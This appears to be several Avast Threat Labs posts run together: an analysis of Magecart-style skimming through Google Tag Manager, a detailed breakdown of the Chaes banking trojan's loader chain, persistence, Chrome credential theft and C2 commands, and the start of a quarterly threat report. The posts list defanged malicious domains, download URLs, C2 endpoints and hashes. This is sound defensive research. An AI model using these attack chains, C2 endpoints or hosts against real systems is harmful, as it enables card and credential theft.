E-commerce websites are much more popular than they used to be, people tend to shop online more and more often. This leads to the growth of an attack called web skimming. Web skimming is a type of attack on e-commerce websites in which an attacker inserts malicious code into a legitimate website. One of the most targeted e-commerce platforms is Magento. The reason why Magento is so popular among attackers is that Magento is known for many vulnerabilities. However, this doesn’t mean that other platforms aren’t being targeted, for example, sites using WooCommerce have also been victims.

In this posting, we go over what web skimming attacks are and how they work. We then analyze a series of web skimming attacks that we found which were active from March 2021 to the present. These attacks abused the Google Tag Manager and mainly targeted sites in Argentina and Saudi Arabia.

Overview of Web Skimming Attacks

The purpose of the malicious web skimming code is to steal the website’s customers’ payment details. This attack can simply be compared to an attack on physical ATMs, where instead of hardware skimmers, malicious code is used to steal payment card information.

Web skimming is dangerous because the customer often has no chance to know that a website has been compromised. Mostly, the attackers go after small e-commerce websites with poor security, but sometimes even a big e-commerce site can become a victim. In 2018, the British Airways website was infected by a web skimming attack. In 2019, forbesmagazine[.]com was infected, payment details were sent to the fontsawesome[.]gq. Later in 2020 a big online retailer selling beauty products, wishtrend[.]com, also became a victim of another web skimming attack. In 2021 another big e-commerce website store.segway[.]com was infected with a skimming attack.

We observed a webpage (wishtrend[.]com with more than 1M followers on Facebook) that was infected with web skimming in 2020. Later in 2021, the same website was infected with a phishing attack that imitates a Dropbox login.

How Web Skimming Attacks Work Under the Hood

A website can be breached and compromised both on the client side and on the server side. From the AV perspective, as we protect the end customers (client) and have no visibility on the server side, we focus on the client side. There can either be a single piece of malicious code hidden in infected websites, or more often, the attack can be split into two or more stages. First stage is a simple loader inserted in an infected website’s HTML or in an already existing javascript file. It can look like in the image below.

This code loads additional malicious code from an attacker’s domain, sometimes obfuscated, sometimes not. For the second stage, attackers usually use typosquatting domains to hide and act as a legitimate service. The malicious code gets the data from all (or in some cases specific) input forms and sends this data to the attacker’s server. 

To get the payment details, the attackers use one of the following techniques:

• Stealing payment details directly from the original payment form
• Inserting malicious payment form (used in cases when no form exists)
• Redirecting to a malicious form on another website (can be placed on infected website or also on attacker’s website) 

The image below shows an example of a fake payment form in the red box. It is almost impossible to recognize that something is wrong, because on some e-commerce websites the payment form looks exactly the same and is valid. But in this case a little help is in the yellow box that says: “You will be redirected to the Realex website when you place an order. “ It means that if the website states that you will be redirected, then the payment form should not be directly on the e-commerce website and the user should expect to be redirected to the payment gateway (different website) with the form to enter payment details.

There is more than one way the second stage (the part which is responsible for stealing and sending stolen payment details to the attacker) of a web skimming attack can look. In the code snippet below, there is an example. Here the attackers use a POST request to exfiltrate payment details, but they can also use GET requests and WebSockets. 

Stolen payment details are usually sold on the dark web. These datasets of credit cards that come from web skimming attacks are usually fresh and therefore they are better and can be sold for a higher price than for example data stolen from databases, which can be old in many cases. More information about selling stolen cards can be found in Yonathan Klijnsma’s

VB2019 paper: : Inside Magecart: the history behind the covert card-skimming assault on the e-Commerce industry.

Web Skimming using Google Tag Manager

In Q3 2021 we discovered a web skimming attack that uses Google Tag Manager (GTM) as a first stage. First, the infected webpage loads a script from googletagmanager[.]com/gtm.js?id=gtm-<code> via script injected in the HTML file shown on the image below.

There is nothing unusual in this behaviour, many websites use Google Tag Manager and it looks exactly the same (it can be suspicious that the website loads more than one GTM script though). But if we look closer in the gtm.js file, we can find suspicious code in it. In the image below there is a comparison between malicious and clean GTM script. In the malicious file, there is added custom code that loads another javascript file from ganalitis[.]com. This is the feature of GTM, it is possible to add a custom script (which is then loaded from googletagmanager.com domain). 

We were able to connect (based on our common signature and IP) ganalitis[.]com with similar domains from the same attacker (data from RiskIQ).

Domain	Active from	IP
ganalitics[.]com	2021-06-03	193[.]203[.]203[.]240
bingfindapi[.]com	2021-04-29	193[.]203[.]203[.]56
webfaset[.]com	2021-04-13	193[.]203[.]203[.]56
pixstatics[.]com	2021-05-19	193[.]203[.]203[.]56
ganalitis[.]com	2021-10-21	91[.]242[.]229[.]96
gstatsc[.]com	2021-12-13	91[.]242[.]229[.]96
gstatlcs[.]com	2021-12-15	193[.]203[.]203[.]14
gstatuslink[.]com	2022-01-02	91[.]242[.]229[.]96
gtagmagr[.]com	2022-01-05	193[.]203[.]203[.]14

The second stage (downloaded from the malicious domain) is a file named favicon (later renamed to refresh) that contains about 400 lines of obfuscated javascript code. We found that this code was being changed over time to avoid detection. The deobfuscated code is shown below, almost everything out of the 400 lines of code was just obfuscation. This file hides malicious code responsible for downloading the final stage through WebSockets.

The final stage of malware is downloaded through WebSockets. First, the web page sends its hostname, and then according to that information the corresponding malicious javascript is received. This communication is shown in the image below.

Malicious javascript code is about 1k lines long (formatted) and as the previous stage is also obfuscated. This code is responsible for stealing the payment details. At the end of the obfuscated javascript code (shown in the image below) is configuration which is different for every infected eshop. The red box at the bottom shows the configuration where the fake payment form will be inserted into an HTML file on the infected website.

The code from the yellow box is decoded in the white box. It is a dictionary, the key E528330211747l contains the form field names that match the input form field names on the infected webpage. The last key contains an exfiltration URL that is encoded in base64. In the image below is a code from an infected website, we can see that the id of the email field (customer-email) is in the mentioned code.

The missing field names (from fake payment form) are in the variable a0_0x11ac38. Which is an array and contains the following fields:

The fake payment form embedded on the infected website is shown in the image below. Above is the infected webpage, while below is how the webpage looks normally.

The stolen payment details (including details such as name and address) are sent to the attacker encoded in base64 through WebSockets.

Affected users

In the map below are shown countries with the most affected users. The top is Argentina, because of prune[.]com[.]ar. Site was infected with the new malicious domain gstatlcs[.]com.

The second one is Saudi Arabia e-commerce website souqtime[.]com. From RiskIQ data we can see that this e-commerce website was infected over time with at least seven different web skimming domains.

Currently Avast detects the malicious domain gstatuslink[.]com on souqtime[.]com.

Conclusion

Overall, we can say that the attacker uses Google Tag Manager to avoid detection. At the same time they were able to change the domains from which the malicious code was loaded over time, he also changed the malicious code itself to hide from detection by antivirus.

Some websites were infected for several months (for example souqtime[.]com). It can be difficult for users to spot that the site is infected. For example, it is suspicious if the user fills in the payment form on the website itself and is then redirected to another payment form on the payment gateway webpage. But in cases where the payment form is normally present directly on the e-commerce website and the attacker steals payment details from this legitimate form, it is really hard to notice that the website is infected. Therefore we recommend using a second factor (e.g. mobile app or SMS code) to confirm internet payments if the bank supports it.

Website owners should keep software updated, monitor logs for any suspicious activity, use strong passwords and also use Web Application Firewall.

IOC malicious domains:

• pixstatics[.]com
• ganalitics[.]com
• bingfindapi[.]com
• webfaset[.]com
• ganalitis[.]com
• gstatsc[.]com
• gstatlcs[.]com
• gstatuslink[.]com
• gtagmagr[.]com

The post Web Skimming Attacks Using Google Tag Manager appeared first on Avast Threat Labs.

Introduction

Chaes is a banking trojan that operates solely in Brazil and was first reported in November 2020 by Cybereason. In Q4 2021, Avast observed an increase in Chaes’ activities, with infection attempts detected from more than 66,605 of our Brazilian customers. In our investigation, we found the malware is distributed through many compromised websites, including highly credible sites. Overall, Avast has found Chaes’ artifacts in 800+ websites. More than 700 of them contain Brazilian TLDs. All compromised websites are WordPress sites, which leads us to speculate that the attack vector could be exploitation of vulnerabilities in WordPress CMS. However, we are unable to perform forensics to confirm this theory. We immediately shared our findings with the Brazilian CERT (BR Cert) with the hope of preventing Chaes from spreading. By the time of this publication, Chaes’ artifacts still remain on some of the websites we observed.

Chaes is characterized by the multiple-stage delivery that utilizes scripting frameworks such as JScript, Python, and NodeJS, binaries written in Delphi, and malicious Google Chrome extensions. The ultimate goal of Chaes is to steal credentials stored in Chrome and intercept logins of popular banking websites in Brazil.

In this posting, we present the results of our analysis of the Chaes samples we found in Q4 2021. Future updates on the latest campaign will be shared via Twitter or a later post.

Infection Scheme

When someone reaches a website compromised by Chaes, they are presented with the below pop-up asking users to install the Java Runtime application:

If the user follows the instructions, they will download a malicious installer that poses as a legitimate Java Installer. As shown below, the fake installer closely imitates the legitimate Brazilian Portuguese Java installer in terms of appearance and behavior.

Once the installation begins, the user’s system is compromised. After a few minutes, all web credentials, history, user profiles stored by Chrome will be sent to attackers. Users may experience Google Chrome getting closed and restarted automatically. This indicates any future interactions with the following Brazilian banking websites will be monitored and intercepted:

• mercadobitcoin.com.br
• mercadopago.com.[ar|br]
• mercadolivre.com.br
• lojaintegrada.com.br

Technical Analysis

Infected websites

Upon inspecting the HTML code of the compromised websites, we found the malicious script inserted as shown below:

In this case, the V=28 likely represents the version number. We also found a URL with other versions as well:

• https://is[.]gd/EnjN1x?V=31
• https://is[.]gd/oYk9ielu?D=30
• https://is[.]gd/Lg5g13?V=29
• https://is[.]gd/WRxGba?V=27
• https://is[.]gd/3d5eWS?V=26

The script creates an HTML element that stays on top of the page with “Java Runtime Download” lure. This element references an image from a suspicious URL

• https://sys-dmt[.]net/index.php?D\
• https://dmt-sys[.]net/

and an on-click download of a Microsoft Installer from

• https://bkwot3kuf[.]com/wL38HvYBiOl/index.php?get or
• https://f84f305c[.]com/aL39HvYB4/index.php?get or
• https://dragaobrasileiro[.]com.br/wp-content/themes/getCorsFile.php

Microsoft Installer

The flowchart below shows the infection chain following the malicious installer execution.

The installer contains 3 malicious JS files install.js, sched.js, and sucesso.js renamed to Binary._ as shown above. Each of them handles a different task, but all are capable of reporting the progress to the specified CnC:

install.js

The purpose of this script is to download and execute a setup script called runScript that will prepare the proper Python environment for the next stage loader. After making an HTTP request to a hardcoded domain, the obfuscated runScript is downloaded and then executed to perform the following tasks:

• Check for Internet connection (using google.com)
• Create %APPDATA%\\<pseudo-random folder name>\\extensions folder
• Download password-protected archives such as python32.rar/python64.rar and unrar.exe to that extensions folder
• Write the path of the newly created extensions folder to HKEY_CURRENT_USER\\Software\\Python\\Config\\Path
• Performs some basic system profiling
• Execute unrar.exe command with the password specified as an argument to unpack python32.rar/python64.rar
• Connect to C2 and download 32bit and 64bit __init__.py scripts along with 2 encrypted payloads. Each payload has a pseudo-random name.

sched.js

The purpose of this script is to set up persistence and guarantee the execution of __init__.py downloaded by runScript from the previous step. Sched.js accomplishes this by creating a Scheduled Task as its primary means and creating a  Startup link as its backup means. Ultimately, they are both able to maintain the after-reboot execution of the following command:

 ...\\<python32|python64>\\pythonw.exe __init__.py /m

sucesso.js

This script reports to CnC that the initial installation on the victim’s computer has succeeded and is ready for the next stage

Python Loader Chain

The Scheduled Task created by sched.js eventually starts  __init__.py which initiates the Python in-memory loading chain. The loading chain involves many layers of Python scripts, JS scripts, shellcode, Delphi DLLs, and .NET PE which we will break down in this section. Impressively, the final payload is executed within __init__.py process (PID 2416 and 4160) as shown below:

__init__.py

The __init__.py  xor decrypts and decompresses the pseudo-random filename downloaded by runScript.js into another Python script. The new Python script contains 2 embedded payloads: image and shellcode in encrypted form. Image represents the Chaes loader module called chaes_vy.dll while shellcode is an in-memory PE loader. We found this particular loader shellcode reappearing many times in the later stages of Chaes. Running the shellcode using CreateThread API with proper parameters pointing to chaes_vy.dll, the Python script eventually loads chaes_vy.dll into memory:

Chaes_vy.dll

Chaes_vy is a Delphi module that loads an embedded .NET executable that in turn runs 2 JavaScripts: script.js and engine.js. These two scripts hold the core functionalities of the Chaes_vy module.

script.js

This script acts as the interface between .NET framework and JScript framework, providing the necessary utilities to execute any scripts and modules that engine.js downloads in the future. By default, script.js will try to retrieve the paths to payloads specified in the argument of __init__.py. If nothing is found it will execute engine.js

engine.js

This script employs 2 methods of retrieving a JS payload: getBSCode() and getDWCode() both are called every 6 minutes.

GetBSCode is the primary method, also the only one we are able to observe serving payload. The encrypted payload is hidden as commented-out code inside the HTML page of a Blogspot which is shown below. Without being infected by Chaes, this site is completely harmless.

On the other hand, when executed, engine.js will parse the string starting from  <div id=\”rss-feed\”> which is the marker of the encrypted payload:

After decrypting this text using AES with a hardcoded key, instructions.js is retrieved and executed. This script is in charge of downloading and executing Chaes’ malicious Chrome “extensions”. More info about instructions.js is provided in the next section.

getDWCode is the secondary method of retrieving instruction.js. It employs a DGA approach to find an active domain weekly when getBSCode fails. Since we are not able to observe this method being used successfully in the wild, we have no analysis to present here. However, you can check out the full algorithm posted on our Github.

Instructions.js

Instructions.js is the last stage of the delivery chain. Nothing up to this point has gained the attacker any true benefits. It is the job of instructions.js to download and install all the malicious extensions that will take advantage of the Chrome browser and harm the infected users. The address of all payloads are hardcoded as shown below:

The extensions are separated into password-protected archives vs encrypted binaries. The non-compressed payloads are PE files that can be run independently while compressed ones add necessary NodeJS packages for the extension to run. Below is the example of chremows63_64 archive contents:

All the binaries with dll_filename argument such as chromeows2.bin are encrypted, including the ones inside the RAR archive. The decryption algorithm is located inside script.js as we mentioned in the previous section. To decrypt and run each binary, Chaes needs to call __init__.py with the file path specified as an argument.

The extension installation can be simplified into the following steps:

• An HTTP Request (aws/isChremoReset.php)  is sent to check if Google Chrome from a particular uid has been hooked. If not, Chrome and NodeJS will be closed. More information about uid in the “Online” section below.
• The download request is constructed based on 3 scenarios: 32bit, 64bit, and no Google Chrome found. Each scenario will contain suitable versions of the extensions and their download links.
• The extension is downloaded. The compressed payload will be unpacked properly.
• A hosts file is created for the newly downloaded module. Inside the file is the CnC randomly picked from the following pool:

Each extension will use the address specified in hosts for CnC communication

• Launch each extension through python.exe __init__.py with proper arguments as shown below

Extensions

Online

online.dll is a short-lived Delphi module that is executed by instruction.js before other modules are deployed. Its main purpose is to fingerprint the victim by generating a uid which is a concatenation of drive C: VolumeSerialNumber, UserName, and Computername. The uid is written to a register key SOFTWARE\\Python\\Config\uid before being included inside the beaconing message.

This registry key is also where instruction.js previously gets the uid asking CnC if the victim’s Chrome has been hooked. The first time instruction.js gets launched this registry has not been created yet, therefore the Chrome process is always killed.

Online.dll retrieves the CnC server specified in the hosts file and performs the beaconing request /aws/newClient.php, sending the victim’s uid and basic system information.

Mtps4 (MultiTela Pascal)

Module mtps4 is a backdoor written in Delphi. Its main purpose is to connect to CnC and wait for a responding PascalScript to execute. Similar to the previous module, CnC is retrieved from the hosts file. Mtps4 sends a POST request to the server with a hardcoded User-Agent containing uid and command type. It currently supports 2 commands: start and reset. If the reset command is responded with ‘(* SCRIPT OK *)’, it will terminate the process.

Start command is a bit more interesting.

As a reply to this command, it expects to receive a PascalScript code containing a comment ‘(* SCRIPT OK *)’.

mtps4 is compiled with https://github.com/remobjects/pascalscript to support PascalScript. Before running, the script they create a window that copies the screen and covers the entire desktop to avoid raising suspicion when performing malicious tasks on the system.

Unfortunately during the investigation, we couldn’t get hold of the actual script from the CnC.

Chrolog (ChromeLog)

Chrolog is a Google Chrome Password Stealer written in Delphi. Although it is listed as an extension, Chrolog is an independent tool that extracts user personal data out of the Chrome database and exfiltrates them through HTTP. The CnC server is also retrieved from the hosts file previously created by instruction.js.

HTTP Request	Data Exfiltration
/aws/newUpload.php	Cookies, Web Data, and Login Data (encrypted)
/aws/newMasterKey.php	Chrome Master Key used to decrypt Login Data
/aws/newProfileImage.php	Profile Image URL collected from last_downloaded_gaia_picture_url_with_size attribute inside Local State
/aws/newPersonalData.php	Username, fullname, gaia_name
/aws/bulkNewLogin.php	All Login Data is decrypted and added to local.sql database. Then the corresponding section of the database is exfiltrated
/aws/bulkNewUrl.php	History is added to local.sql database. Then the corresponding section of the database is exfiltrated
/aws/bulkNewAdditionalData.php	Web Data is written to local.sql database. Then the corresponding section of the database is exfiltrated
/aws/bulkNewProcess.php	All running processes are collected and written to local.sql database. Then the corresponding section of the database is exfiltrated

Chronodx (Chrome Noder)

The chronodx extension package can be separated into 2 parts: a loader called Chronod2.dll and a JavaScript banking trojan called index_chronodx2.js. First, Chronod2.dll performs an HTTP request /dsa/chronod/index_chronodx2.js to retrieve index_chronodx2.js. If successful, Chronod2.dll will run silently in the background until it detects the Chrome browser opened by the user. When that happens, it will close the browser and reopen its own instance of Chrome along with index_chronodx2.js being run from the node.exe process.

Index_chronodx2.js utilizes puppeteer-core, a NodeJS framework that provides APIs to control Chrome browser, for malicious purposes. Index_chronodx2.js implements many features to intercept popular banking websites in Brazil including

• bancobrasil.com.br/aapf
• bancodobrasil.com.br/aapf
• bb.com.br/aapf
• mercadopago.com/…/card_tokens/
• mercadopago.com/enter-pass/
• mercadolivre.com/enter-pass/
• lojaintegrada.com.br/public/login/
• mercadobitcoin.com.br

Upon visiting any of the above websites, index_chronodx2.js will start collecting the victim’s banking info and send it to the attacker through a set of HTTP commands. The CnC server is stored in the hosts file, but when it is not found in the system, a hardcoded backup CnC will be used instead:

C2 Command	Meaning
/aws/newQRMPClient.php	Supposedly sending user info to the attacker when a QR code scan is found on banking websites listed above, but this feature is currently commented out
/aws/newContaBBPF.php	Sending user banking info when Bancodobrasil banking sites are intercepted
/aws/newContaCef.php	Sending user banking info when Caixa banking sites are intercepted
/aws/newCaixaAcesso.php	Telling the attacker that a victim has accessed Caixa banking page
aws/newMercadoCartao.php	Sending user banking info when Mercado banking sites are intercepted
/aws/newExtraLogin.php	Send user credentials when logging in to one of the listed pages

Chremows (Chrome WebSocket)

Chremows is another extension that uses NodeJS and puppeteer-core, and is similar to the functionality of node.js mentioned in the Cybereason 2020 report. Chremows targets two platforms Mercado Livre (mercadolivre.com.br) and Mercado Pago (mercadopago.com.br) both belong to an online marketplace company called Mercado Libre, Inc.

Sharing the same structure of chronodx module, chremows contains a loader, CreateChrome64.dll that downloads a JavaScript-based banking trojan called index.js. CreateChrome64.dll will automatically update index.js when a newer version is found. Unlike chronodx, chremows executes index.js immediately after download and doesn’t require Google Chrome to be opened. In a separate thread, CreateChrome64.dll loads an embedded module ModHooksCreateWindow64.dll that Cybereason has analyzed in their 2020 report. Overall, this module help increase the capabilities that chremows has on Google Chrome, allowing the attacker to perform “active” tasks such as sending keypresses/mouse clicks to Chrome, or opening designated pages. Finally, CreateChrome64.dll copies Chrome’s Local State file to the same location of index.js with the name local.json. Index.js uses local.json to help the attacker identify the victim.

Index.js employs two methods of communicating with the attacker: through WebSocket and through HTTP. Each method has its own set of C2 servers as shown in the above picture. WebSocket is used to receive commands and send client-related messages. On the other hand, HTTP is for exfiltrating financial data such as banking credentials and account information to the attacker.

List of known Index.js WebSocket commands

Command from C2	Functionality
welcome::	Send uid and information extract from local.json to the attacker
control::	The attacker establishes control over Google Chrome
uncontrol::	The attacker removes control over Google Chrome
ping::	Check if the connection to the client is OK
command::	Send command such as keystroke, mouseclick
openbrowser::	Open Chrome window with minimal size to stay hidden

If the user stays connected to the WebSocket C2 server, every six minutes it automatically goes to the targeted Mercado Pago and Mercado Livre pages and performs malicious tasks. During this routine, the attacker loses direct control of the browser. The target pages are banking, credit, and merchant pages that require users’ login. If the user has not logged out of these pages, the attacker will start to collect data and exfiltrate them through the following HTTP requests:

• /aws/newMercadoCredito.php
• /aws/newMercadoPago.php

If the user is not logged in to those pages but has the password saved in Chrome, after the routine ends, the attackers will get back their direct control of Chrome and log in manually.

Summary

Chaes exploits many websites containing CMS WordPress to serve malicious installers. Among them, there are a few notable websites for which we tried our best to notify BR Cert. The malicious installer communicates with remote servers to download the Python framework and malicious Python scripts which initiate the next stage of the infection chain. In the final stage, malicious Google Chrome extensions are downloaded to disk and loaded within the Python process. The Google Chrome extensions are able to steal users’ credentials stored in Chrome and collect users’ banking information from popular banking websites.

IOCs

The full list of IoCs is available here

Network

HTML Scripts

• is[.]gd/EnjN1x?V=31
• is[.]gd/oYk9ielu?D=30
• is[.]gd/Lg5g13?V=29
• tiny[.]one/96czm3nk?v=28
• is[.]gd/WRxGba?V=27
• is[.]gd/3d5eWS?V=26

MSI Download URLs

• dragaobrasileiro[.]com.br/wp-content/themes/getcorsfile.php?
• chopeecia[.]com.br/D4d0EMeUm7/index.php?install
• bodnershapiro[.]com/blog/wp-content/themes/twentyten/p.php?
• dmt-sys[.]net/index.php?
• up-dmt[.]net/index.php?
• sys-dmt[.]net/index.php?
• x-demeter[.]com/index.php?
• walmirlima[.]com.br/wp-content/themes/epico/proxy.php?
• atlas[.]med.br/wp-content/themes/twentysixteen/proxy.php?
• apoiodesign[.]com/language/overrides/p.php?

CnC Servers

• 200[.]234.195.91
• f84f305c[.]com
• bkwot3kuf[.]com
• comercialss[.]com
• awsvirtual[.]blogspot.com
• cliq-no[.]link
• 108[.]166.219.43
• 176[.]123.8.149
• 176[.]123.3.100
• 198[.]23.153.130
• 191[.]252.110.241
• 191[.]252.110.75

SHA256 Hashes

Filename	Hash
MSI installer	f20d0ffd1164026e1be61d19459e7b17ff420676d4c8083dd41ba5d04b97a08c 069b11b9b1b20828cfb575065a3d7e0b6d00cd1af10c85c5d6c36caea5e000b7 1836f3fa3172f4c5dbb15adad7736573b4c77976049259cb919e3f0bc7c4d5ea 02831471e4bf9ef18c46ed4129d658c8ce5b16a97f28228ab78341b31dbef3df a3bcbf9ea2466f422481deb6cb1d5f69d00a026f9f94d6997dd9a17a4190e3aa 62053aeb3fc73ef0940e4e30056f6c42b737027a7c5677f9dbafc5c4de3590bd e56a321cae9b36179e0da52678d95be3d5c7bde2a7863e855e331aea991d51b9 7a819b168ce1694395a33f60a26e3b799f3788a06b816cc3ebc5c9d80c70326b
__init__.py	70135c02a4d772015c2fce185772356502e4deab5689e45b95711fe1b8b534ce 6e6a44ca955d013ff01929e0fa94f956b7e3bac557babcd7324f3062491755e2 0b5646f45f0fad3737f231f8c50f4ed1a113eb533997987219f7eea25f69d93f abc071831551af554149342ad266cc43569635fb9ea47c0f632caa5271cdf32
runScript.js	bd4f39daf16ca4fc602e9d8d9580cbc0bb617daa26c8106bff306d3773ba1b74
engine.js	c22b3e788166090c363637df94478176e741d9fa4667cb2a448599f4b7f03c7c
image	426327abdafc0769046bd7e359479a25b3c8037de74d75f6f126a80bfb3adf18 3311b0b667cd20d4f546c1cb78f347c9c56d9d064bb95c3392958c79c0424428 c9b3552665911634489af5e3cb1a9c0c3ab5aed2b73c55ae53b8731a1de23a9f
chremows	fa752817a1b1b56a848c4a1ea06b6ab194b76f2e0b65e7fb5b67946a0af3fb5b e644268503cf1eaf62837ec52a91b8bec60b0c8ee1fb7e42597d6c852f8b8e9d bd5d2a0ec30fa454af1a086b4c648039422eca4fa1b1d6e8ecc4d47be7fab27f 4d2ffae69b4e0f1e8ba46b79811d7f46f04bd8482568eccf5620e6b1129c1633 faad384e124c283a8d024ee69dceaac877be52f5adbf18ca6b475a66663b0e85 969fa30802bdb81be5b57fef073896c2ee3df4211663301548f8efa86257e0cf 5a1ebf757ab9aa796a8580daafab9635660b9cc55505db194cbfefeb612e48f0 2d9e040820acca9a0fab2dc68546e0a824c4c45ee8c62332213e47e1f6923c90 e1d9effa8a56d23dbcefd2146eb5c174a245b35a4f718473452135bd064a2157 32c545e133183e6fc999e8f6a0da3c6e7fb1a12b97d2a3bbc5e84faa175a9ef6 ba3e0314b1d6e6ee10c473c1bbd883c4a5c53b5703b5ced174cd5a30b0b87160 e210217f2b5912e16a281dcbd5a5247fe2a62897dc5c2e1bf4ff61d3a07405f0 7a1d74c4d62ceee45a3cbaf79070cfc01342a05f47e0efb401c53040897bed77 550188ad28ccc07791880777c2de07e6d824a7263b9e8054423597b160e594a3 9603c4ce0f5a542945ed3ced89dd943eb865368b4e263090be9e0d9c1785615d
chrolog	9dbbff69e4e198aaee2a0881b779314cdd097f63f4baa0081103358a397252a1 6dc63ea4dbe5d710b7ba161877bd0a3964d176257cdfb0205c1f19d1853cc43b 3e48f714e793b3111ce5072e325af8130b90a326eca50641b3b2d2eba7ac0a45 754eeb010795c86d1cc47b0813da6bbc6d9153f1dd22da8af694a9e2dca51cda 0762038fe591fef3235053c7136f722820de6d8457cae09d4aa9bf6cb7f497a1
chronod	ea177d6a5200a39e58cd531e3effb23755604757c3275dfccd9e9b00bfe3e129 7c275daab005bb57e8e97ac98b0ae145a6e850370e98df766da924d3af609285 96224c065027bb72f5e2caebf4167482fe25fb91c55f995e1c86e1c9884815c3 2688a7ac5b408911ae3e473278ecbc7637491df2f71f6f681bc3ed33045b9124 f3c1fd9e8674901771c5bfc4ce16eba75beff7df895a4dc6fdd33bedb2967a08 ddecc2606be56beae331000ba091e5e77ae11380f46eba45387c65289e6ce421 debe443266ab33acb34119f515f4622464edff198f77fd20006e2d79aafb6dfc bf4a83a19065d5c45858ceb988dce39d93c412902ead6434e85fbf2caa17db44 87502ad879a658aa463088c50facfbdbb1c6592263e933b8b99e77293fdf1384 6b6abc64053d20306147efced9df2ef75153e87a1d77ce657943b2373fb4ffb9 679a02d0ae4f5382767eb11cefad59c0664f55ed2ce3e3b3df97b78c09e18aa3 564b31c3d609d96a73ee139ec53453b985673ffacacb56ecd13d2c83bbf851e0 e649f71b68cc54f3d985e398f1c6354963ec027a26230c4c30b642d2fd5af0a6
online	3fd48530ef017b666f01907bf94ec57a5ebbf2e2e0ba69e2eede2a83aafef984
mtps4	5da6133106947ac6bdc1061192fae304123aa7f9276a708e83556fc5f0619aab

The post Chasing Chaes Kill Chain appeared first on Avast Threat Labs.

Foreword

Welcome to the Avast Q4’21 Threat Report! Just like the rest of last year, Q4 was packed with many surprises and plot twists in the threat landscape. Let me highlight some of them.

We all learned how much impact a small library for logging can have. Indeed, I’m referring to the Log4j Java library, where a vulnerability was discovered and immediately exploited. The rate at which malware operators exploited the vulnerability was stunning. We observed coinminers, RATs, bots, ransomware, and of course APTs abusing the vulnerability faster than a software vendor could say “Am I also using this Log4j library somewhere below?”. In a nutshell: Christmas came early for malware authors.

Original credits: XKCD

Furthermore, in my Q3’21 foreword, I mentioned the take-down of botnet kingpin, Emotet. We were curious which bot would replace it… whether it would be Trickbot, IcedID, or one of the newer ones. But the remaining Emotet authors had a different opinion, and pretty much said “The king is dead, long live the king!”, they rewrote several Emotet parts, revived their machinery, and took the botnet market back with the latest Emotet reincarnation.

Out of the other Q4’21 trends, I would like to highlight an interesting symbiosis of a particular adware strain that is protected by the Cerbu rootkit, which was very active in Africa and Asia. Furthermore, coinminers increased by 40% worldwide by infecting webpages and pirated software. In this report, we also provide a sneak peek into our recent research of banking trojans in Latin America and also dive into the latest in the mobile threat landscape.

Last but not least, Q4’21 was also special in terms of ransomware. However, unlike in previous quarters when you could only read about massive increases in attacks, ransom payments, or high-profile victims, Q4 brought us a long-awaited drop of ransomware activity by 28%! Why? Please, continue reading.

Jakub Křoustek, Malware Research Director

Methodology

This report is structured as two main sections – Desktop, informing about our intel from Windows, Linux, and MacOS, and Mobile, where we inform about Android and iOS threats.

Furthermore, we use the term risk ratio in this report for informing about the severity of particular threats, which is calculated as a monthly average of “Number of attacked users / Number of active users in a given country”. Unless stated otherwise, the risk is available just for countries with more than 10,000 active users per month.

Desktop

Advanced Persistent Threats (APTs)

Advanced Persistent Threats are typically created by Nation State sponsored groups which, unlike cybercriminals, are not solely driven by financial gain. These groups pursue nation states’ espionage agenda, which means that specific types of information, be it of geopolitical importance, intellectual property, or even information that could be used as a base for further espionage, are what they are after.

In December, we described a backdoor we found in a lesser known U.S. federal government commission. The attackers were able to run code on an infected machine with System privileges and used the WinDivert driver to read, filter and edit all network communication of the infected machine. After several unsuccessful attempts to contact the targeted commission over multiple channels, we decided to publish our findings in December to alert other potential victims of this threat. We were later able to engage with the proper authorities who are in possession of our full research and took action to remediate the threat.

Early November last year, we noticed the LuckyMouse APT group targeting two countries: Taiwan and the Philippines. LuckyMouse used a DLL sideload technique to drop known backdoors. We spotted a combination of the HyperBro backdoor with the Korplug backdoor being used. The dropped files were signed with a valid certificate of Cheetah Mobile Inc.

The top countries where we saw high APT activity were: Myanmar, Vietnam, Indonesia, and Ukraine. An actor known as Mustang Panda is still active in Vietnam. We also tracked a new campaign in Indonesia that appears to have been initiated in Q4’21.

The Gamaredon activity we observed in Q3’21 in Ukraine dropped significantly about a week before the Ukrainian Security Service publicly revealed information regarding the identities of the Gamaredon group members. Nevertheless, we still saw an increase in APT activity in the country. 

Luigino Camastra, Malware Researcher
Igor Morgenstern, Malware Researcher
Daniel Beneš, Malware Researcher

Adware

Adware, as the name suggests, is software that displays ads, often in a disturbing way, without the victim realizing what is causing the ads to be displayed. We primarily monitor adware that is potentially dangerous and is capable of adding a backdoor to victims’ machines. Adware is typically camouflaged as legitimate software, but with an easter egg.

Desktop adware has become more aggressive in Q4’21, illustrated in the graph below. In comparison to Q3’21, we saw a significant rise in adware in Q4’21 and a serious peak at the beginning of Q4’21. Moreover, the incidence trend of adware in Q4’21 is very similar to the rootkit trend, which will be described later. We believe these trends are related to the Cerbu rootkit that can hijack requested URLs and then serve adware.

The risk ratio of adware has increased by about 70% worldwide in contrast to Q3’21. The most affected regions are Africa and Asia.

In terms of regions where we protected the most users from adware, users in Russia, the U.S., and Brazil were targeted the most in Q4’21.

Martin Chlumecký, Malware Researcher

Bots

The last quarter of 2021 was everything but uneventful in the world of botnets. Celebrations of Emotet’s takedown were still ongoing when we started to see Trickbot being used to resurrect the Emotet botnet. It looks like “Ivan” is still not willing to retire and is back in business. As if that wasn’t enough, we witnessed a change in Trickbot’s behavior. As can be seen in the chart below, by the end of November, attempts at retrieving the configuration file largely failed. By the middle of December, this affected all the C&Cs we have identified. While we continue to observe traffic flowing to a C&C on the respective ports, it does not correspond to the former protocol.

Just when we thought we were done with surprises, December brought the Log4shell vulnerability, which was almost immediately exploited by various botnets. It ought to be no surprise that one of them was Mirai, again. Moreover, we saw endpoints being hammered with bots trying to exploit the vulnerability. While most of the attempts lead to DNS logging services, we also noticed several attempts that tried to load potentially malicious code. We observed one interesting thing about the Log4shell vulnerability: While a public endpoint might not be vulnerable to Log4shell, it could still be exploited if logs are sent from the endpoint to another logging server.

Below is a heatmap showing the distribution of botnets that we observed in Q4 2021.

As for the overall risk ratios, the top of the table hasn’t changed much since Q3’21 and is still occupied by Afghanistan, Turkmenistan, Yemen, and Tajikistan. What has changed is their risk ratios have significantly increased. A similar risk ratio increase occurred for Japan and Portugal, even though in absolute value their risk ratio is still significantly lower than in the aforementioned countries. The most common botnets we saw in the wild are:

• Phorpiex
• BetaBot
• Tofsee
• Mykings
• MyloBot
• Nitol
• LemonDuck
• Emotet
• Dorkbot
• Qakbot

